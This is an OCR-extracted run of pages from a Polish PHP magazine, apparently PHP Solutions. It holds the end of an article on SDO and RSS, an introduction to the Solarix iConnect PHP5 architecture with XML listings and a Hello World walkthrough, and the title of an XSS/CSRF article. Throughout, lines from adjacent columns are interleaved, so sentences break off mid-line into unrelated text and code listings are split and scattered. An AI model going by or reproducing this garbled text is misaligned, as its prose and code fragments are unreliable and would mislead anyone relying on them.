Przekażemy jej jeden parametr: nazwę ty- zajmiemy się jedynie newsami z grupy, obiekt z formularza, wystarczy pobrać go
pu, który dany obiekt SDO ma reprezento- która została pobrana jako pierwsza z ba- z sesji, zmienić jego parametry i zapisać
wać. W tym przypadku jest to typ channel. zy danych. Nic nie stoi na przeszkodzie, w bazie. Dzięki temu będziemy mieli pew-
Wszystkie zmienne, które zostały przypisa- aby np. numer grupy był parametrem ność, że zapisujemy ten sam obiekt, który
ne utworzonemu w taki sposób obiektowi skryptu. W ten sposób będziemy mogli odczytaliśmy, co uczyni naszą aplikację
w mappingu, stają się jego zmiennymi stworzyć skrypt, który będzie tworzył plik odporniejszą na próby włamania.
publicznymi. RSS dla różnych grup newsów w sposób Przedstawiliśmy Wam solidne podsta-
Jeżeli będziemy próbowali odwołać się dynamiczny. Problem ten możemy rów- wy SDO, stosowanego zarówno wobec
do zmiennej, która nie jest zdefiniowana nież na inne sposoby, np. parametryzując baz danych, jak i plików XML. Wzbogace-
w mappingu, SDO zgłosi wyjątek. Po utwo- zapytanie do bazy danych. nie pokazanego przez nas kodu o wspo-
rzeniu obiektu SDO dla tagu <channel> Ostatnią operacją, jaką wykonuje- mniane funkcje będzie świetnym punktem
uzupełniamy go o kilka potrzebnych infor- my, jest serializacja drzewa obiektów do wyjścia dla dalszego, własnoręcznego
macji, takich jak nazwa i opis kanału oraz XML-a. Tym razem posłużymy się metodą poznawania fascynujących możliwości roz-
język, w którym publikowane są wiadomo- saveDataObjectToString(). szerzenia SDO.
ści w tym kanale. Podczas serializacji do Dużą prostszą operacją jest czytanie
XML-a, wartości zapisane w tych zmien- plików RSS i tworzenie drzew SDO na
nych zostaną zapisane (w zależności od ich podstawie. Skrypt, który ma mieć taką
definicji w mappingu) jako atrybuty znacz- funkcjonalność, będzie się składał z zale-
O autorze
nika <channel> lub niezależnych tagów dwie dwóch linii kodu. W pierwszej z nich Piotr Szarwas jest pracownikiem SUPER-
znajdujących się wewnątrz <channel>. utworzymy obiekt klasy SDO_DAS_XML z od- MEDIA Interactive i doktorantem na wy-
dziale Fizyki Politechniki Warszawskiej.
Kolejnym krokiem jest utworzenie powiednim mappingiem, a w drugiej od- Od 2003 roku projektuje aplikacje WWW
listy obiektów, które będą reprezentowały czytamy plik korzystając z loadFromFile(). w oparciu o PHP4/5. Obecnie zajmuje się
newsy z naszej bazy danych. W stan- Plikiem może być również link do ze- tworzeniem frameworka dla PHP oparte-
dardzie RSS wiadomości grupowane są wnętrznej strony internetowej. Pozwala go na rozwiązaniach Hibernate i Spring.
Kontakt z autorem:
wewnątrz znacznika <channel>, a para- nam to na agregowanie newsów z różnych piotr.szarwas@gmail.com
metry wiadomości otoczone są tagiem serwisów na naszej witrynie.
R E K L A M A
J
ava (w wydaniu J2EE) i .NET są aplikacji, do której można by się odwoły-
traktowane jako rozwiązania, do wać projektując i pisząc programy.
których odwołują się wszystkie in- Istniejące w świecie PHP rozwiąza-
ne architektury systemów informatycznych nia nieoficjalne, takie jak popularne ostat-
stosowanych w środowisku biznesowym. nio frameworki, przeważnie stanowią wy-
Zaletą PHP jest jednakże jego ogromna łącznie zestawy narzędzi realizujących ta-
popularność. Zgodnie z danymi pocho- kie zadania, jak logowanie, uwierzytelnia-
dzącymi z Google, w rozwiązaniach webo- nie, kontakt z bazą danych, itd. W ramach
wych PHP jest trzy razy częściej stosowa- ich funkcjonalności nie ma przeważnie
ny od JSP, a ogólna liczba witryn korzysta- miejsca na wspomniane kwestie związane
jących z PHP sięga ok. 17 milionów. z architekturą czy logiką aplikacji. Nie umo-
Co więcej, wraz z pojawieniem się żliwiają również korzystania z tworzonych
PHP5 (i Zend Engine 2), język ten nie- rozwiązań w sposób rozproszony.
specjalnie ustępuje Javie, do której upo-
dobnił się zwłaszcza pod względem mo-
delu obiektowego i systemu obsługi wy-
Co należy wiedzieć...
Powinieneś znać zasady programowa-
W SIECI jątków. Można śmiało powiedzieć, iż PHP nia obiektowego w PHP5 i mieć pojęcie
stał się już językiem klasy Enterprise (wia- o frameworkach i wzorcach projekto-
rygodnym i nadającym się do stosowania wych. Przyda się również podstawowa
1. http://www.solarix.it/ znajomość Javy.
w świecie biznesu na większą skalę).
– strona główna Solarix
2. http://phppatterns.com Brakuje mu jednakże jednego: posiada- Co obiecujemy...
– witryna o wzorcach pro- Dowiesz się, jak dzięki Solarix iConnect
nej przez J2EE i .NET architektury, która
jektowych przenieść do PHP najlepsze mechani-
3. http://java.sun.com w sposob precyzyjny definiuje sposób zmy obiektowe z J2EE i .NET.
– główna strona Javy określania struktury i logicznego podziału
Architektura
Solarix iConnect Wymagania i instalacja
Aby zaradzić tym problemom, opracowano Solarix iConnect potrzebuje PHP5 wraz z rozszerzeniami socket oraz xmlrpc (dla Solarix
iConnect EAS). Pozostałe elementy iConnecta, czyli Platform, WAS i Portal Server nie
architekturę Solarix iConnect. Stanowi ona wymagają żadnych rozszerzeń. Konieczna będzie również instalacja serwera Apache, na
zestaw komponentów opartych na PHP5, którym opiera się Solarix iConnect WAS. Warto też wspomnieć, iż oczekiwania sprzętowe
w tym kontenerów i frameworków zaprojek- Solarixa nie są wysokie, zwłaszcza biorąc pod uwagę, że został on zaprojektowany tak,
towanych z punktu widzenia modularności aby zapewniać skalowalność.
Instalacja systemu jest bardzo prosta. Pod Windows odbywa się za pomocą prostych
i programowania rozproszonego. Jest instalatorów. Pod Linuksem natomiast należy rozpakować archiwa do katalogu docelowe-
opensourcowa i rozpowszechniana na li- go (np. /usr/local/iconnect/) i ewentualnie przemianować katalogi usuwając numer wersji
cencji Mozilla Public License, co umożliwia (np. zmienić nazwę carthag-1.2 na carthag).
jej stosowanie również w rozwiązaniach ko- Poza tym, pod Linuksem katalog zawierający Solarix iConnect WAS powinien zawsze
mieć te same uprawnienia użytkownika co Apache: chown -R apache.apache /usr/local/
mercyjnych. iconnect/was. Wreszcie, we wszystkich systemach należy uaktualnić ścieżkę do klas (ang.
Jest poza tym wielowarstwowa (ang. classpath) Carthaga.
multi-tier) i zorientowana na usługi (ang.
service-oriented). Stanowi również kolek-
cję standardowych specyfikacji i metodo- informacyjne. Niestety, nawet gdy są Komponenty iConnect współdzielą jedyny
logii służących do tworzenia aplikacji webo- przestarzałe, często nie mogą zostać za- framework wykonywalny. Obejmują rów-
wych klasy Enterprise. Dodatkowo, iCon- stąpione nowszymi i lepiej zintegrowanymi nież poziomy pośrednie, czyli integracji,
nect dziedziczy wiele mocnych punktów ar- systemami. biznesowy i prezentacji. W warstwie za-
chitektury J2EE. Problem ten jest możliwy do rozwiąza- sobów znajdują się bazy danych, syste-
Należy sprecyzować, że z punktu wi- nia dzięki dwóm czynnikom. Pierwszym my sprzed wdrożenia iConnecta (ang. le-
dzenia architektury iConnect nie wno- jest rozbudowywalność języka PHP. Liczne gacy systems) i podobne. Poziom kliencki
si cech ściśle przydatnych dla zaspokoje- rozszerzenia PHP (PECL-owe, PEAR-owe, jest natomiast obsługiwany przez przeglą-
nia wymogów formalnych, gdyż należy to itd.) umożliwiają łączenie się z rozmaity- darki WWW.
do zadań tworzonych z jego pomocą apli- mi bazami danych oraz innymi systema- Architektura iConnect składa się ze
kacji. Głównym celem architektury Solarix mi przy minimalnym wysiłku ze strony pro- wzajemnie współdziałających bloków:
iConnect jest natomiast organizacja aplika- gramistów. Z kolei Solarix iConnect stawia
cji w sposób ułatwiający spełnienie wymo- czoła opisanemu wyzwaniu dzięki temu, • Carthag – platforma wspólna dla ca-
gów niefunkcjonalnych, takich jak jak skalo- że umożliwia ukrycie całej złożoności za- łej architektury, pełni tę sama rolę co
walność, łatwość obsługi, bezpieczeństwo, rządzania danymi poprzez samą strukturę J2SE i J2EE w architekturze Java-ba-
modularność, itd. Są to właściwości, które swojej architektury. sed. Jest zintegrowana z runtime par-
pozwalają na obsługę, dostosowanie i kon- sera PHP,
trolowanie aplikacji w czasie ich rozwoju. Podstawowe • webserwisy (ang. Web services) i licz-
iConnect zapewnia infrastrukturę, na bazie pojęcia iConnecta ne narzędzia zwane konektorami (ang.
której możemy tworzyć aplikacje różnego Architektura iConnect została zaprojekto- connectors), pozwalające na łączenie
typu, nie tylko te zorientowane na WWW. wana w celu podziału aplikacji klasy Enter- się systemu z warstwą zasobów,
Wielką zaletą architekury rozproszonej prise na 5 współdziałających ze sobą po- • iConnect Enterprise Application Server
jest łatwość, z jaką przychodzi zmienia- ziomów: (EAS) – zawiera i obsługuje logikę biz-
nie warunków działania aplikacji: przy- nesową w formie gotowych do urucho-
kładowo, przy znacznym wzroście obcią- • warstwa zasobów (Resource tier): za- mienia modułów. Działa podobnie do
żenia wystarczy poprawić architekturę, bez wiera zasoby takie jak dane (data) i le- Enterprise Java Bin (EJB),
dokonywania modyfikacji samej aplikacji. gacy (obsługa starego oprogramowa- • iConnect Web Application Server
Solarix iConnect ma również stanowić nia), (WAS) – jest odpowiedzialny za uru-
spoiwo pomiędzy istniejącymi już aplikacja- • warstwa integracji (Integration tier): chamianie i działanie aplikacji WWW
mi korporacyjnymi (np. projektami intrane- zajmuje się integracja logiczną i dostę- (które pracują właśnie na tym serwe-
towymi, extranetowymi czy portalami kor- pem systemu do zasobów, rze), zachowując się podobnie jak se-
poracyjnymi), co wymaga ich integrację i • warstwa biznesowa (Business tier): rvlety i JSP,
udostępnienie na WWW, a tablicami służą- grupuje komponenty odpowiedzialne • iConnect Portal Server: organizuje
cymi do analizy sprzedaży, dostępu do da- za logikę biznesową aplikacji, aplikacje WWW bazujące na WAS i na
nych przetwarzanych przez działające już • warstwa prezentacji (Presentation tier): modułach EAS, grupuje komponenty
w systemie korporacyjnym aplikacje, itd. komponuje i publikuje zawartość udo- i jest odpowiedzialny za logikę prezen-
Skupmy się na chwilę na istniejących stępnianą przez komponenty należące tacji, stosując typowy wzorzec MVC
aplikacjach, które musimy zintegrować do warstwy biznesowej, (Model, Widok, Kontroler).
z naszym systemem. Zwykle działają na • warstwa kliencka (Client tier): udostęp-
różnego rodzaju maszynach i – co sta- nia interfejs użytkownika (ang. User Nie zawsze aplikacje bazujące na Sola-
nowi poważny problem – nie komunikują Interface) i odpowiada za współpracę rix iConnect są podzielone również na po-
się między sobą, stanowiąc tzw. wyspy z użytkownikiem. ziomie implementacyjnym pomiędzy te
wszystkie kontenery, co jest sytuacją typo- podczas gdy każda klasa znajduje się niezależnych (ang. stand alone), możemy
wą w bardziej złożonych przypadkach. Na- w osobnym pliku, noszącym jej nazwę. wymienić trzy odmienne rodzaje aplikacji:
tomiast w prostszych przypadkach wystar- Przykładowo, klasa org.acme.myapp.MyApp
czy zastosować jedynie Solarix iConnect lication zostanie zapisana w pliku MyAp- • uruchamiane z linii poleceń (CLI, Com-
Platform i Solarix iConnect WAS, gdzie plication.php znajdującym się w katalogu mand Line Interface), przez odpowied-
aplikacja webowa (zwana w skrócie we- org/acme/myapp (ścieżka odnosząca się nie skrypty: carthag (skrypt bash) i car-
bapp) zawiera zarówno całość logiki bizne- do katalogu głównego (ang. root path) bie- thag.bat (skrypt MS-DOS). Przykłady:
sowej, jak i tryby prezentacji. żącego projektu). Tak więc, w każdej klasie carthag application.php [Enter] lub
Jak łatwo zauważyć, pod wieloma (przed rozpoczęciem jej właściwego kodu) carthag org.acme.MyApp.php[Enter].
względami iConnect jest podobny do J2EE. musi się znajdować deklaracja pakietu, do • aplikacje typu embedded (ECA, Em-
Należy jednak pamiętać, że w odróżnieniu którego należy, np. Carthag::package('org bedded Carthag Application), urucha-
od J2EE ma on udostępniać zestaw pro- .acme.myapp');. miane z sieci WWW poprzez wywoła-
stych i lekkich API oraz specyfikacji, pozo- Aby uzyskać dostęp do funkcjonalno- nie bezpośrednie lub z linii poleceń po-
stawiając programiście większą swobodę ści danej klasy, musimy wykonać jedynie przez: PHP classname.php [Enter]
niż w środowisku Javy. prostą procedurę importu: Carthag::impor • (aplikacje embedded, ponieważ zawar-
t('org.acme.myapp.MyApplication');. ta jest w nich logika bootstrap carthag)
Solarix Carthag udostępnia nam także licz- • aplikacje typu CAR (Carthag Applica-
iConnect Platform ne klasy użytkowe, spełniające tę samą tion Archive) które zachowują się jak
Struktura klas Carthaga jest podobna do funkcję co noszące tę samą nazwę klasy pliki JAR w środowisku Javy. Każdy
tej z Javy, w której każda klasa wewnątrz Javy. Przykładowo, w pakiecie util znaj- plik CAR jest skompresowanym pli-
systemu dziedziczy (bezpośrednio lub po- dziemy klasę Vector, która implementuje kiem wykonywalnym (przez środowi-
średnio) po klasie Object. Wprowadzono StringBuffer, czy klasy umożliwiające sko iConnect) i zawiera odpowiednik
również system obsługi wyjątków, który stosowanie i obsługę Iteratorów. Mamy pliku Manifest z JAR, którym jest zwy-
wiernie odzwierciedla ten obecny w Javie: też do dyspozycji HashTable, klasy im- kły plik tekstowy, który wskazuje w mo-
istnieje w nim jedna klasa przedstawiają- plementujące węzły list i drzew, klasy mencie uruchamiania, który który plik
ca ogólny wyjątek i cały zestaw klas, które do obsługi archiwów, itd. W odniesieniu wewnątrz archiwum jest odpowiedzial-
po niej dziedziczą i przedstawiają najbar- do tych ostatnich, system oferuje pełną ny za uruchomienie wykonania. Aby
dziej specyficzne wyjątki (na poziomie ła- kompatybilność ze standardami kompresji uruchomić plik CAR, zastosujemy in-
dowania klas, błędnego dostępu do bazy takimi jak ZIP i TAR oraz wprowadza no- strukcję: carthag -c application.car
danych, I/O, parsowania, itd.). wy format pliku, .CAR (Carthag Archive), [enter].
Kod jest zorganizowany w postaci pa- który stanowi archiwum skompresowane
kietów (ang. packages), co również zostało w formacie TAR. Także obsługa wejścia/wyjścia (ang. in-
zainspirowane Javą: każdy pakiet posiada Ponieważ carthag zawiera w sobie lo- put-output) dość wiernie odzwierciedla tę
swój katalog i pliki klas (ang. class files), gikę pozwalającą na uruchomienie aplikacji z Javy: kanały wejścia/wyjścia w Carthagu
są obsługiwane jako strumienie (ang. stre- czy HTTP czy wysyłaniu emaili (także w nie muszą własnoręcznie implementować
am), więc oprócz podstawowych klas do- formacie MIME). takich funkcji, jak obsługa trwałości czy lo-
konujących odczytu i zapisu na standar- Obecne są też pakiety do budowania i gika wsparcia usługi rozproszonej, gdyż są
dowym wejściu i wyjściu (a także na pli- parsowania dokumentów XML (zarówno ty- to funkcjonalności obsługiwane bezpośred-
ku, gnieździe (ang. socket), itd.) mamy cały pu SAX jak i DOM) oraz ułatwienia pozwa- nio przez EAS.
szereg klas udostępniających bardziej roz- lające używać tego języka w protokołach Moduły EAS są zamknięte w archi-
budowane funkcjonalności (stringReader, typu RPC (ang. Remote Procedure Call), wach typu EAS (w formacie TAR) zawiera-
printWriter, itd.). takich jak SOAP. Carthag w pełni wspiera jących dwa katalogi:
W celu załadowania komponentów i webserwisy korzystające z SOAP, jak rów-
klas do runtime, Carthag pozwala nam na nież definicje usług poprzez WSDL i współ- • Classes: zawiera właściwe klasy apli-
zastosowanie metody podobnej do ana- działanie z UDDI. kacyjne,
logicznej z Javy: każdy nowy komponent • META-INF: katalog zawierający plik
musi zostać załadowany poprzez odpo- Enkapsulacja logiki eas.xml.
wiedni ClassLoader, który weryfikuje prawa biznesowej w Solarix
dostępu nowego obiektu przed jego uru- iConnect EAS Każdy moduł EAS zawiera przynajmniej
chomieniem, zgłaszając w razie błędu sto- EAS jest systemem do tworzenia i uru- jedną klasę, która z kolei musi mieć refe-
sowny wyjątek. chamiania rozproszonych i bazujących na rencje do wnętrza pliku eas.xml. Jest to
Carthag zapewnia także pełną obsługę komponentach aplikacji business-level. więc klasa, która zostanie użyta jako entry
połączeń z licznymi bazami danych, udo- Komponenty EAS (zwane modułami) są point modułu i która będzie wywołana
stępniając specjalne sterowniki dla najpo- odpowiedzialne za obsługę logiki bizneso- w celu umożliwienia dostępu ze strony
pularniejszych i pozostawiając programi- wej, przekształcając ją w system obiekto- aplikacji zdalnych. Aby tak było, zaczniemy
ście możliwość tworzenia nowych. wo zorientowany. Dodatkowo, tam gdzie od zapewnienia, że nasza klasa dziedziczy
Wreszcie, znaczna część funkcjonal- trzeba, wprowadza mapowanie relacyj- po jednej z klas abstrakcyjnych com.sola
ności Carthaga jest zwykle stosowana w no-obiektowe, pozwalające dostosować do rix.eas.EASObject lub com.solarix.eas
aplikacjach rozproszonych: iConnect Plat- siebie dwa światy: relacyjny (bazy danych) .EASPersistentObject, zależnie od tego,
form udostępnia w sposób natywny i bez i obiektowy. czy trwałość obiektów jest konieczna, czy
pomocy komponentów zewnętrznych peł- Raz stworzony moduł EAS możemy nie (dzięki trwałości obiekty mogą zostać
ne wsparcie przy tworzeniu gniazd bazu- zainstalować na dowolnej ilości platform, przekształcone na pola bazy danych i na
jących na protokołach TCP i UDP, przesy- bez konieczności jakiegokolwiek modyfiko- odwrót; możliwe jest także wyszukiwanie
łaniu danych za pomocą protokołół SMTP wania kodu lub pakietu. Z kolei programiści danych w bazie i otrzymywanie rezultatów
jako obiekty). Zgodnie z konwencją, na- eas://nazwa_użytkownika: działania aplikacji webowych (zwanych
zwa każdej metody udostępnianej przez hasło@nazwa_węzła: też webapps). Zapewnia też funkcjonal-
nasz moduł EAS powinna się zaczynać port/nazwa_modułu_eas ność zbliżoną do servletów, zwaną we-
od przedrostka eas, np. MyEASObject:: bapp handlers oraz do JSP (strony PHP
easHelloWorld();. Przykładowo, gdy chcemy zastosować mo- przetworzone przez odpowiedni webapp
Każdy moduł EAS wyróżnia się po- duł org.acme.myeas zainstalowany na por- handler).
przez jednoznaczny identyfikator. Do po- cie 9000 węzła www.acme.org mając ha- Podczas uruchamiania, WAS integruje
prawnego funkcjonowania musi również sło mypwd i konto myuser, locator będzie na- się z Apache i, w przeciwieństwie do EAS,
zostać zainstalowany wewnątrz EAS po- stępujący: nie działa w tle i przy każdym żądaniu po-
przez standardową procedurę uruchamia- kazania strony WWW tworzona jest jego
nia czyli deploymentu: easdeployer deploy $loc='eas://myuser: instancja.
myeas.eas [Enter]. Następnie uruchamia- mypwd@www.acme.org: Każde nowe żądanie jest przetwarza-
my EAS (który także jest skryptem PHP- 9000/org.acme.myeas'; ne przez Apache, który, jeśli jest popraw-
owym), aby umożliwić naszej aplikacji do- nie skonfigurowany, przekazuje natych-
stęp do modułu poddanego wcześniej de- Po określeniu locatora należy stworzyć lo- miast kontrolę webapp handlerowi, który
ploymentowi: easserver start [Enter]. kalny interfejs, poprzez który uzyskamy do- z kolei obsługuje żądanie bazując na wzor-
Po poprawnym zainstalowaniu modu- stęp do funkcjonalności zdalnego modułu: cach uruchomieniowych określonych w pli-
łu ustawiamy uprawnienia dostępu w pliku ku web.xml znajdującym się w folderze
konfiguracyjnym EAS-a (users.xml) w ka- $hw=EASFactory:: WEB-INF bieżącej aplikacji webowej. Jed-
talogu eas/conf, co pozwala nam określić, getEAS(new EASLocator($loc)); na aplikacja może zostać skonfigurowana
które moduły EAS będą dostępne dla każ- w sposób umożliwiający zastosowanie
dego użytkownika. w tym momencie możemy zastosować większej liczby handlerów, w związku
Warto również wiedzieć, że dzięki metody zdalnego modułu tak, jakby był z czym może dla niej istnieć wiele wzor-
EAS-owi każda aplikacja może uzyskać on zainstalowany lokalnie: echo $hw-> ców uruchomieniowych. Aplikacja webo-
dostęp do zdalnych modułów, tak jakby easHelloWorld(); wa lub zewnętrzna może definiować nowe
były one obecne na lokalnym serwerze. Klasa modułu org.acme.myeas zosta- webapp handlers, którym towarzyszą dwa
W celu zidentyfikowania zdalnego modułu nie określona jak na Listingu 1. zapewniane przez WAS: handler domyśl-
trzeba określić EAS locator, który należy ny, odpowiedzialny za dostarczenie żąda-
przekazać klasie EASFactory, gdy chcemy Budowanie aplikacji nych plików oraz handler odpowiadający
utworzyć instancję zdalnej klasy. Locator WWW przy użyciu za wykonanie skryptów PHP.
jest po prostu adresem typu URL, za iConnect WAS Aplikacje webowe są zwykle rozpo-
pomocą którego aplikacja otrzymuje in- Web Application Server (WAS) odgrywa wszechniane w formie archiwów TAR.
formacje potrzebne do połączenia się ze w architekturze iConnect tę samą rolę, Nazwa katalogu zawierającego pliki jest
zdalnym EAS; konstrukcja locatora jest co Jakarta Tomcat w Javie. Jego zada- także nazwą aplikacji, a uruchomienie
następująca: niem jest uruchamianie i umożliwianie (deployment) każdej aplikacji odbywa się
w katalogu webapp WAS-a i może zostać zestaw nowych koncepcji i klas przezna- Definicja wewnątrz pliku helloworld/blocks/
wykonane dwojako: czonych do konstruowania sajtów typu helloworld.xml będzie mieć postać zbliżo-
portlet. ną do:
• poprzez aplikację administracyjną ad- Podstawowymi elementami służącymi
min należącą do WAS, przy użyciu do konstruowania aplikacji webowych <?xml version="1.0"?>
funkcji Deploy a new web application, poprzez Portal Server są: siatka, tematy, <block>
• poprzez odpowiedni skrypt deployer moduły, sloty, bloki, klasy, strony i szablony <class> helloworld.HelloWorld</class>
obecny w katalogu bin należącym do (templates). <template>helloworld.tpl.php</template>
WAS: deploy method webapp-name Moduł to kolekcja stron, bloków </block>
[Enter]. i klas. Może także stosować strony,
bloki oraz klasy innych modułów. Zwy- Za jej pomocą opisaliśmy Portal Serverowi
Wewnątrz katalogu WAS-a conf/webapp- kle konstruujemy aplikację łącząc kilka połączenia między klasą i odpowiednim
skel znajdujemy szkielet pustej aplikacji modułów. Aby nasza aplikacja wykorzy- szablonem, co równa się ustanowieniu
oraz prekonfigurowany plik web.xml, który stywała dany moduł, wprowadzamy go relacji pomiędzy danymi i sposobem ich
można wykorzystać w nowej aplikacji. do jej podkatalogu WEB-INF/modules wizualizacji).
Po wykonaniu deploymentu możemy (nazwa katalogu będzie tożsama nazwie Aplikacja webowa wykorzystująca
uruchomić aplikację webową za pośred- modułu). Typowy moduł będzie zawierał Portal Server musi zawierać także przy-
nictwem WWW przechodząc do jej kata- następujące katalogi: najmniej jedną siatkę, tj. dokument XML
logu lub wirtualnego hosta (jeśli takowy opisujący rodzaj kontenera, wewnątrz któ-
ustawiliśmy w Apache'u). • classes: katalog, w którym zapisujemy rego będą rozdysponowane bloki. Każdy
Plik web.xml definiuje, który z plików wszystkie klasy odnoszące się do bie- z tych slotów może zawierać wiele bloków
ma być domyślnym indeksem aplikacji. żącego modułu, wykorzystując stan- (kolejność ich rozmieszczenia w ramach
Przykładowo, aby uruchomić plik exam- dardową metodę Carthag (classes/ jednego slotu określa także kolejność wy-
ple.php należący do zainstalowanej na org/acme/mymodule/MyClass.php) świetlania bloków).
lokalnym serwerze WWW aplikacji mywe- – ten katalog zostaje automatycznie Na koniec, strony definiują sposób or-
bapp, wpisalibyśmy URL: http://localhost/ dołączony do bieżącego classpath ganizacji bloków w ramach siatki oraz ich
was/webapp/index.php/example.php. w momencie, w którym moduł jest wy- layout. Zależnie od bloku, ta sama strona
Pamiętamy, że plik index.php jest wy- konywany, może być wykorzystana do wizualizacji
magany do uruchomienia każdej aplikacji • pages: katalog zawierający strony na- różnych rodzajów zawartości.
webowej. Jego zadaniem jest przekie- leżące do bieżącego modułu, Na Listingu 3 przedstawiamy przy-
rowanie żądania do prawdziwego WAS • blocks: zawiera definicję pojedyn- kładową stronę zapisaną wewnątrz pli-
receivera – na tym mechanizmie opiera się czych bloków modułu i ich szablonów. ku helloworld/pages/index.xml, która uży-
każdorazowe uruchamianie całego WAS-a. wa bloku helloworld, w którym pola
Każdy blok składa się z pliku definicji, <column> i <row> odnoszą się do pozy-
Budowanie aplikacji z klasy odpowiedzialnej za określenie cji bloku w ramach siatki, podczas gdy
modularnej przy użyciu struktury logicznej i z szablonu, który zaj- pole <position> wskazuje pozycję bloku
iConnect Portal Server muje się prezentacją bloku. Klasa bloku w ramach slotu.
iConnect Portal Server jest systemem ob- musi obejmować: Szablony są używane zarówno przez
sługi prezentacji i dostarczania (ang. de- siatki, jak i bloki. Każdy blok posiada
livery) danych przeznaczonych do budo- • com.solarix.portalserver.page.Portal- swój szablon, który w momencie uru-
wania portali klasy Enterprise w ramach ServerBlock chomienia aplikacji podlega parsowa-
iConnect Web Application Server. niu i jest włączany do siatki w miejscu
Portal Server definiuje nowy webapp Przyjrzyjmy się przykładowi bloku, które- określonym przez jej logikę. Przyjrzyjmy
handlera, który zostanie wywołany przez go klasą jest: się teraz bardzo prostemu szablo-
WAS w momencie wykonania aplikacji nowi, który możemy zapisać w pliku
webowej. System wprowadza również • helloworld/classes/helloworld/Hello helloworld/blocks/helloworld.tpl.php.
World.php, Używamy go w celu wyświetlania rezul-
Listing 1. Klasa HelloWorldEAS, • Definiuje ona wiadomość i przekazuje tatu działania zdefiniowanej wcześniej
należąca do przykładowego modułu ją do szablonu (Listing 2). klasy HelloWorld: <p><?=$message;?></p>.
org.acme.myeas
Zmienna $message jest tą samą zmienna nia, nazwiemy ten parametr content_page: $hw = EASFactory :: getEAS(new
ustawioną przez klasę HelloWorld: $this http://www.acme.org/index.php/common/ EASLocator('eas://test:test@127.0.0.1:
->set('message', 'Hello World!'). W ramach std?content_page=index. 9000/helloworldeas'));
szablonu, który jest zwykłym skryptem $message = $hw->easHelloWorld();
PHP, możemy zastosować jakąkolwiek in- Zauważmy, że każdy blok znajdujący się
strukcję zarówno udostępnianą przez PHP w ramach strony odpowiada wyłącznie za Następnie ustawimy rezultat obliczenia
oraz korzystać ze zmiennych PHP-owych swój obszar i wykorzystuje wyłącznie wła- i przekażemy kontrolę cześci aplikacji
(również tablic, które możemy przekazać sną logikę wykonywania. odpowiedzialnej za prezentację: $this->
do wzorca korzystając z funkcji $this->set set(‘message’, $message);. Szablon
Array('nazwaTablicy', $array)). Przykład prostej helloworld/blocks/helloworld.tpl.php
Aby móc wyświetlić stronę utworzoną w aplikacji Web iConnect wypisze wiadomość na stronie WWW:
wyniku działania Portal Servera, stosujemy Stwórzmy aplikację, która będzie pisała fra- <p><?=$message;?></p>.
się do zwykłej konwencji ustalając struk- zę Hello World na stronie WWW. Aby nieco Plik helloworld/blocks/helloworld.xml
turę URL-a w następujący sposób: http:// skomplikować cała sprawę, użyjemy por- łączy szablon z jego klasą w następujący
nazwa_witryny/index.php/nazwa_modułu/ talu Servera do wypisania frazy, która zo- sposób:
nazwa_strony/. Przykład: http://www.acme. stanie mu przekazana przez serwer WAS,
org/index.php/helloworld/index/. który z kolei otrzyma ją od modułu EAS. <?xml version="1.0"?>
W celu przekazania parametrów wy- Naszą aplikację webową nazwiemy hello- <block>
branej stronie stosujemy konwencję, zgod- worldapp, a moduł EAS – HelloWorldEAS. <class>helloworld.HelloWorld</class>
nie z którą konstruujemy nazwę parame- Oczywiście, wykorzystamy wszystkie <template>helloworld.tpl.php</template>
tru umieszczając najpierw nazwę modu- komponenty iConnect: </block>
łu, do którego jest on skierowany. Przy-
kładowo, chcąc wywołać stronę należą- • Carthag jako platformę podstawową, Następnie dodajemy do aplikacji webowej
cą do modułu content, do której zamierza- • iConnect Enterprise Application Ser- definicję strony home/pages/index.xml
my przekazać nazwę strony do wyświetle- ver dla logiki biznesowej (wygenero- i komponujemy jej zawartość w sposób
wania frazy do wyświetlenia), pokazany na Listingu 5. Po uruchomieniu
Listing 3. Przykładowa strona • iConnect Web Application Server możemy wyświetlić stronę poprzez WWW,
korzystająca z bloku helloworld w celu uruchomienia aplikacji i obsługi aby zobaczyć wiadomość Hello World!.
jej wykonania jako aplikacji webowej,
<?xml version="1.0"?> • iConnect Portal Server w celu struktu- Podsumowanie
<page>
ralizacji prezentacji samej witryny. Solarix iConnect to architektura o ogrom-
<block>
<module>helloworld</module> • Moduł EAS będzie się składał z jednej nych możliwościach. My pokazaliśmy ich
<name>helloworld</name> klasy (helloworldeas.HelloWorldEAS), część mając nadzieję pomóc użytkowniko-
<column>2</column> tej samej co przedstawiona wcześniej. wi zorientować się w nich i zachęcić do ko-
<row>1</row> rzystania z tego rozwiązania. Przeniesienie
<position>1</position>
Zawartość pliku eas.xml będzie wyglą- nowoczesnego, wydajnego i elastycznego
</block>
</page> dała jak na Listingu 4. W tym momen- modelu tworzenia aplikacji w Javie do PHP
cie możemy ustalić uprawnienia w pliku otwiera przed programistami PHP możliwo-
Listing 4. Zawartość pliku eas.xml users.xml, uruchomić moduł i wystartować ści, o których dawniej nie było mowy.
EAS server. Przechodzimy teraz do apli- W kolejnym numerze PHP Solutions
<?xml version="1.0"?>
<easconfig>
kacji webowej, która będzie się składać będziemy kontynuować temat iConnect,
<name>helloworldeas</name> z modułu helloworld, zawierającego kla- przedstawimy jego zastosowania w prak-
<version>1.0</version> sę helloworld.HelloWorld, bloku hello- tyce.
<class> world oraz strony index. Chcąc wykorzy-
helloworldeas.HelloWorldEAS
stać Portal Server do obsługi warstwy pre-
</class>
zentacji, musimy skonfigurować plik web.
</easconfig>
xml naszej aplikacji webowej, aby używał O autorze
Listing 5. Definicja strony home/ Portal Servera jako handlera:
pages/index.xml Alex Pagnoni jest dyrektorem zarządza-
jącym włoskiej firmy Solarix (www.sola-
<handler>
<?xml version=”1.0”?> rix.it) zajmującej się innowacjami infor-
<page>
<handlername>default</handlername> matycznymi przeznaczonymi dla biznesu
<block> <handlerclass>com.solarix.portalserver (Business Innovator). Poza swoją działal-
<module>helloworld</module> .handler.PortalServerWebAppHandler nością związaną z kierowaniem firmą, pa-
<name>helloworld</name>
sjonuje się informatyką i w czasie wolnym
</handlerclass>
programuje w PHP, który zna od 1999
<column>2</column>
</handler> roku. Jest autorem dwóch platform do
<row>1</row>
tworzenia aplikacji WWW: Ampoliros dla
<position>1</position>
Klasa HelloWorld będzie wykorzystywać PHP4 i architektury iConnect dla PHP5.
</block>
Kontakt z autorem:
</page> moduł EAS, aby uruchomić wykonanie lo- alex.pagnoni@solarix.it
giki biznesowej aplikacji:
Niebezpieczeństwa ataków
XSS i CSRF
Stopień trudności:
Ilia Alshanetsky
A
by raz na zawsze rozprawić się Różnica między XSS i CSRF polega
